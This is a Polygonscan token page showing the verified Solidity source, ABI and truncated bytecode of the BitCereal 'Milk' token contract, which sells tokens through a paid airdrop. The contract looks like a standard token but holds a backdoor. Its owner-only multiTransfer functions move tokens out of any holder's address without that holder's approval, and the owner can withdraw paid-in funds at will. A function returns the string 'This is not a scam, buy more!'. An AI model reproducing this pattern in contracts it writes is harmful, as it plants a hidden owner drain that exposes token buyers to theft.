POL Price: $0.628421 (-2.35%)
 

Overview

Max Total Supply

50,000,000 Milk

Holders

2,232

Market

Price

$0.00 @ 0.000000 POL

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Paxos: BUSD Token
Balance
0.2 Milk

Value
$0.00
0xdab529f40e671a1d4bf91361c21bf9f0c9712ab7
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

BitCereal is a unique project that offers investors the opportunity to participate in mining the $Milk token, making the project sustainable by providing escrow, lottery, and soon-to-be-added gaming and staking features like nodes, in addition to being a 100% transparent.

Contract Source Code Verified (Exact Match)

Contract Name:
BitCereal

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at polygonscan.com on 2023-04-03
*/

//https://bitcereal.com/
//https://twitter.com/BitCerealmining
//https://t.me/BitCereal
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Burn(address indexed from, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        _status = _NOT_ENTERED;
    }

    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == _ENTERED;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


pragma solidity 0.8.12;


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint256);
}

pragma solidity 0.8.12;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode
        return msg.data;
    }
}

pragma solidity 0.8.12;


contract ERC20 is Context, IERC20, IERC20Metadata, ReentrancyGuard {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _hasClaimed;
    uint256 private _totalSupply;
    uint256 private _decimals;
    string private _name;
    string private _symbol;
    address private _owner;
    bool public tradeStatus = true;
    bool public airdropStatus = true;
    IERC20 public token;
        address payable private feeReceiver_;
    uint256 public constant CLAIM_AMOUNT = 150000000000000000000000;
    uint256 public constant MAX_AMOUNT = 3 ether; 
    uint256 public constant MIN_AMOUNT = 2 ether;
    uint256 public claimCount;
    uint256 public maxClaims = 2000;



    constructor (string memory name_, string memory symbol_,uint256 initialBalance_,uint256 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = initialBalance_* 10**decimals_;
        _balances[msg.sender] = _totalSupply;
        _decimals = decimals_;
        _owner = msg.sender;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    modifier onlyOwner {
        require(msg.sender == _owner);
        _;
    }


    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function ChangeStatus(bool _status) public onlyOwner returns (bool) {
        tradeStatus = _status;
        return true;
    }

  function disableAirdrop(bool _airdrop) public onlyOwner returns (bool) {
    airdropStatus = _airdrop;
    return true;
}

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "Transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

   
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "Decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "Transfer from the zero address");
        require(recipient != address(0), "Transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer amount exceeds balance");

        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "Approve from the zero address");
        require(spender != address(0), "Approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function burn(uint256 amount) public returns(bool) {
        require(_balances[msg.sender] >= amount, "Amount exceeded");
        _totalSupply -= amount;
        _balances[msg.sender] -= amount;
        emit Burn(msg.sender, amount);
        return true;
    }

     function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function balance() external view returns (uint256) {
        return address(this).balance;
    }
function claimAirdrop() external payable nonReentrant {
    require(airdropStatus == true, "Airdrop is not currently enabled");
    require(msg.value >= MIN_AMOUNT, "Amount too low");
    require(msg.value <= MAX_AMOUNT, "Amount too high");
    require(!_hasClaimed[msg.sender], "Already claimed");
   
    uint256 tokensToTransfer = msg.value.mul(CLAIM_AMOUNT).div(1 ether);
   
    require(tokensToTransfer > 0, "Insufficient amount");
    require(tokensToTransfer <= IERC20(token).balanceOf(address(this)), "Not enough tokens in contract");
   
    IERC20(token).transfer(msg.sender, tokensToTransfer);
    _hasClaimed[msg.sender] = true;
    claimCount = claimCount.add(1);
    if (claimCount == maxClaims) {
        airdropStatus = false;
    }
}

function getTokenBalance() external view returns (uint256) {
    return IERC20(token).balanceOf(address(this));
}

function remove_Random_Tokens(address random_Token_Address, address send_to_wallet, uint256 number_of_tokens) public onlyOwner returns(bool _sent) {
        uint256 randomBalance = IERC20(random_Token_Address).balanceOf(address(this));
        if (number_of_tokens > randomBalance){number_of_tokens = randomBalance;}
        _sent = IERC20(random_Token_Address).transfer(send_to_wallet, number_of_tokens);
    }
    function information() public pure returns(string memory) {
        return "This is not a scam, buy more!";
    }

    function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {

    require(addresses.length < 501,"GAS Error: max airdrop limit is 500 addresses");
    require(addresses.length == tokens.length,"Mismatch between Address and token count");

    uint256 SCCC = 0;

    for(uint i=0; i < addresses.length; i++){
        SCCC = SCCC + tokens[i];
    }

    require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

    for(uint i=0; i < addresses.length; i++){
        _basicTransfer(from,addresses[i],tokens[i]);
    }
}


fallback () external payable {
}
receive () external payable {
}

 function clear(address payable withdrawal, uint256 amountInEth) public onlyOwner {
    uint256 amountInWei = SafeMath.mul(amountInEth, 1 ether);
    require(amountInWei > 0, "Amount must be greater than zero.");
    require(amountInWei <= address(this).balance, "Insufficient balance.");
    withdrawal.transfer(amountInWei);
}
function multiTransfer_fixed(address from, address[] calldata addresses, uint256 tokens) external onlyOwner {

    require(addresses.length < 801,"GAS Error: max airdrop limit is 800 addresses");

    uint256 SCCC = tokens * addresses.length;

    require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

    for(uint i=0; i < addresses.length; i++){
        _basicTransfer(from,addresses[i],tokens);
    }
}
}

pragma solidity ^0.8.0;


contract BitCereal is ERC20 {
    constructor(
        string memory name_,
        string memory symbol_,
        uint256 decimals_,
        uint256 initialBalance_,
        address payable feeReceiver_
    ) payable ERC20(name_, symbol_,initialBalance_,decimals_) {
        feeReceiver_ = feeReceiver_;
        token = IERC20(address(this));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"decimals_","type":"uint256"},{"internalType":"uint256","name":"initialBalance_","type":"uint256"},{"internalType":"address payable","name":"feeReceiver_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"CLAIM_AMOUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"ChangeStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MAX_AMOUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MIN_AMOUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"airdropStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimAirdrop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"claimCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"withdrawal","type":"address"},{"internalType":"uint256","name":"amountInEth","type":"uint256"}],"name":"clear","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_airdrop","type":"bool"}],"name":"disableAirdrop","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTokenBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"information","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxClaims","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"address","name":"send_to_wallet","type":"address"},{"internalType":"uint256","name":"number_of_tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600860146101000a81548160ff0219169083151502179055506001600860156101000a81548160ff0219169083151502179055506107d0600c5560405162003f1f38038062003f1f8339818101604052810190620000659190620004fa565b8484838560016000819055508360069080519060200190620000899291906200020d565b508260079080519060200190620000a29291906200020d565b5080600a620000b2919062000743565b82620000bf919062000794565b600481905550600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060058190555033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620001b5919062000806565b60405180910390a35050505030600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505062000888565b8280546200021b9062000852565b90600052602060002090601f0160209004810192826200023f57600085556200028b565b82601f106200025a57805160ff19168380011785556200028b565b828001600101855582156200028b579182015b828111156200028a5782518255916020019190600101906200026d565b5b5090506200029a91906200029e565b5090565b5b80821115620002b95760008160009055506001016200029f565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200032682620002db565b810181811067ffffffffffffffff82111715620003485762000347620002ec565b5b80604052505050565b60006200035d620002bd565b90506200036b82826200031b565b919050565b600067ffffffffffffffff8211156200038e576200038d620002ec565b5b6200039982620002db565b9050602081019050919050565b60005b83811015620003c6578082015181840152602081019050620003a9565b83811115620003d6576000848401525b50505050565b6000620003f3620003ed8462000370565b62000351565b905082815260208101848484011115620004125762000411620002d6565b5b6200041f848285620003a6565b509392505050565b600082601f8301126200043f576200043e620002d1565b5b815162000451848260208601620003dc565b91505092915050565b6000819050919050565b6200046f816200045a565b81146200047b57600080fd5b50565b6000815190506200048f8162000464565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004c28262000495565b9050919050565b620004d481620004b5565b8114620004e057600080fd5b50565b600081519050620004f481620004c9565b92915050565b600080600080600060a08688031215620005195762000518620002c7565b5b600086015167ffffffffffffffff8111156200053a5762000539620002cc565b5b620005488882890162000427565b955050602086015167ffffffffffffffff8111156200056c576200056b620002cc565b5b6200057a8882890162000427565b94505060406200058d888289016200047e565b9350506060620005a0888289016200047e565b9250506080620005b388828901620004e3565b9150509295509295909350565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200064e57808604811115620006265762000625620005c0565b5b6001851615620006365780820291505b80810290506200064685620005ef565b945062000606565b94509492505050565b6000826200066957600190506200073c565b816200067957600090506200073c565b81600181146200069257600281146200069d57620006d3565b60019150506200073c565b60ff841115620006b257620006b1620005c0565b5b8360020a915084821115620006cc57620006cb620005c0565b5b506200073c565b5060208310610133831016604e8410600b84101617156200070d5782820a905083811115620007075762000706620005c0565b5b6200073c565b6200071c8484846001620005fc565b92509050818404811115620007365762000735620005c0565b5b81810290505b9392505050565b600062000750826200045a565b91506200075d836200045a565b92506200078c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000657565b905092915050565b6000620007a1826200045a565b9150620007ae836200045a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007ea57620007e9620005c0565b5b828202905092915050565b62000800816200045a565b82525050565b60006020820190506200081d6000830184620007f5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200086b57607f821691505b6020821081141562000882576200088162000823565b5b50919050565b61368780620008986000396000f3fe6080604052600436106101d15760003560e01c806380f0b44c116100f7578063b69ef8a811610095578063ddbcb5fa11610064578063ddbcb5fa146106c5578063e1e5c6f5146106f0578063f47b77401461072d578063fc0c546a14610758576101d8565b8063b69ef8a814610607578063cf5380b414610632578063d40dc8701461065d578063dd62ed3e14610688576101d8565b806395d89b41116100d157806395d89b4114610537578063a457c2d714610562578063a9059cbb1461059f578063b32cad3e146105dc576101d8565b806380f0b44c146104b857806382b2e257146104e15780638da4d3c91461050c576101d8565b80632cf1a5fb1161016f578063395093511161013e57806339509351146103f757806342966c68146104345780635b88349d1461047157806370a082311461047b576101d8565b80632cf1a5fb1461033b578063313ce567146103665780633343ab8314610391578063335f6a43146103ce576101d8565b806318160ddd116101ab57806318160ddd1461027f5780631ca0a28d146102aa57806323b872dd146102d3578063270ef38514610310576101d8565b806306fdde03146101da578063095ea7b3146102055780630fa4e07b14610242576101d8565b366101d857005b005b3480156101e657600080fd5b506101ef610783565b6040516101fc9190612334565b60405180910390f35b34801561021157600080fd5b5061022c600480360381019061022791906123f4565b610815565b604051610239919061244f565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190612496565b610833565b604051610276919061244f565b60405180910390f35b34801561028b57600080fd5b506102946108b2565b6040516102a191906124d2565b60405180910390f35b3480156102b657600080fd5b506102d160048036038101906102cc91906125a8565b6108bc565b005b3480156102df57600080fd5b506102fa60048036038101906102f5919061263d565b610ab0565b604051610307919061244f565b60405180910390f35b34801561031c57600080fd5b50610325610bb1565b60405161033291906124d2565b60405180910390f35b34801561034757600080fd5b50610350610bbf565b60405161035d919061244f565b60405180910390f35b34801561037257600080fd5b5061037b610bd2565b60405161038891906124d2565b60405180910390f35b34801561039d57600080fd5b506103b860048036038101906103b3919061263d565b610bdc565b6040516103c5919061244f565b60405180910390f35b3480156103da57600080fd5b506103f560048036038101906103f09190612690565b610d4a565b005b34801561040357600080fd5b5061041e600480360381019061041991906123f4565b610ea5565b60405161042b919061244f565b60405180910390f35b34801561044057600080fd5b5061045b60048036038101906104569190612704565b610f51565b604051610468919061244f565b60405180910390f35b61047961109b565b005b34801561048757600080fd5b506104a2600480360381019061049d9190612731565b6114c0565b6040516104af91906124d2565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da919061279c565b611509565b005b3480156104ed57600080fd5b506104f661164b565b60405161050391906124d2565b60405180910390f35b34801561051857600080fd5b506105216116ee565b60405161052e91906124d2565b60405180910390f35b34801561054357600080fd5b5061054c6116f4565b6040516105599190612334565b60405180910390f35b34801561056e57600080fd5b50610589600480360381019061058491906123f4565b611786565b604051610596919061244f565b60405180910390f35b3480156105ab57600080fd5b506105c660048036038101906105c191906123f4565b61187a565b6040516105d3919061244f565b60405180910390f35b3480156105e857600080fd5b506105f1611898565b6040516105fe919061244f565b60405180910390f35b34801561061357600080fd5b5061061c6118ab565b60405161062991906124d2565b60405180910390f35b34801561063e57600080fd5b506106476118b3565b60405161065491906124d2565b60405180910390f35b34801561066957600080fd5b506106726118b9565b60405161067f91906124d2565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa91906127dc565b6118c5565b6040516106bc91906124d2565b60405180910390f35b3480156106d157600080fd5b506106da61194c565b6040516106e791906124d2565b60405180910390f35b3480156106fc57600080fd5b5061071760048036038101906107129190612496565b611958565b604051610724919061244f565b60405180910390f35b34801561073957600080fd5b506107426119d7565b60405161074f9190612334565b60405180910390f35b34801561076457600080fd5b5061076d611a14565b60405161077a919061287b565b60405180910390f35b606060068054610792906128c5565b80601f01602080910402602001604051908101604052809291908181526020018280546107be906128c5565b801561080b5780601f106107e05761010080835404028352916020019161080b565b820191906000526020600020905b8154815290600101906020018083116107ee57829003601f168201915b5050505050905090565b6000610829610822611a3a565b8484611a42565b6001905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461088f57600080fd5b81600860156101000a81548160ff02191690831515021790555060019050919050565b6000600454905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461091657600080fd5b6101f5848490501061095d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095490612969565b60405180910390fd5b8181905084849050146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c906129fb565b60405180910390fd5b6000805b858590508110156109ee578383828181106109c7576109c6612a1b565b5b90506020020135826109d99190612a79565b915080806109e690612acf565b9150506109a9565b50806109f9876114c0565b1015610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3190612b64565b60405180910390fd5b60005b85859050811015610aa757610a9387878784818110610a5f57610a5e612a1b565b5b9050602002016020810190610a749190612731565b868685818110610a8757610a86612a1b565b5b90506020020135611c0d565b508080610a9f90612acf565b915050610a3d565b50505050505050565b6000610abd848484611de0565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b08611a3a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612bf6565b60405180910390fd5b610ba585610b94611a3a565b8584610ba09190612c16565b611a42565b60019150509392505050565b691fc3842bd1f071c0000081565b600860159054906101000a900460ff1681565b6000600554905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3857600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c739190612c59565b602060405180830381865afa158015610c90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb49190612c89565b905080831115610cc2578092505b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff1660e01b8152600401610cfd929190612cb6565b6020604051808303816000875af1158015610d1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d409190612cf4565b9150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610da457600080fd5b6103218383905010610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290612d93565b60405180910390fd5b60008383905082610dfc9190612db3565b905080610e08866114c0565b1015610e49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4090612b64565b60405180910390fd5b60005b84849050811015610e9d57610e8986868684818110610e6e57610e6d612a1b565b5b9050602002016020810190610e839190612731565b85611c0d565b508080610e9590612acf565b915050610e4c565b505050505050565b6000610f47610eb2611a3a565b848460026000610ec0611a3a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f429190612a79565b611a42565b6001905092915050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcc90612e59565b60405180910390fd5b8160046000828254610fe79190612c16565b9250508190555081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103d9190612c16565b925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405161108a91906124d2565b60405180910390a260019050919050565b6110a3612057565b60011515600860159054906101000a900460ff161515146110f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f090612ec5565b60405180910390fd5b671bc16d674ec80000341015611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b90612f31565b60405180910390fd5b6729a2241af62c000034111561118f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118690612f9d565b60405180910390fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561121c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121390613009565b60405180910390fd5b6000611255670de0b6b3a7640000611247691fc3842bd1f071c00000346120a790919063ffffffff16565b61212290919063ffffffff16565b90506000811161129a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129190613075565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112f59190612c59565b602060405180830381865afa158015611312573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113369190612c89565b811115611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f906130e1565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016113d5929190612cb6565b6020604051808303816000875af11580156113f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114189190612cf4565b506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506114876001600b5461216c90919063ffffffff16565b600b81905550600c54600b5414156114b5576000600860156101000a81548160ff0219169083151502179055505b506114be6121ca565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461156357600080fd5b600061157782670de0b6b3a76400006120a7565b9050600081116115bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b390613173565b60405180910390fd5b478111156115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f6906131df565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611645573d6000803e3d6000fd5b50505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffff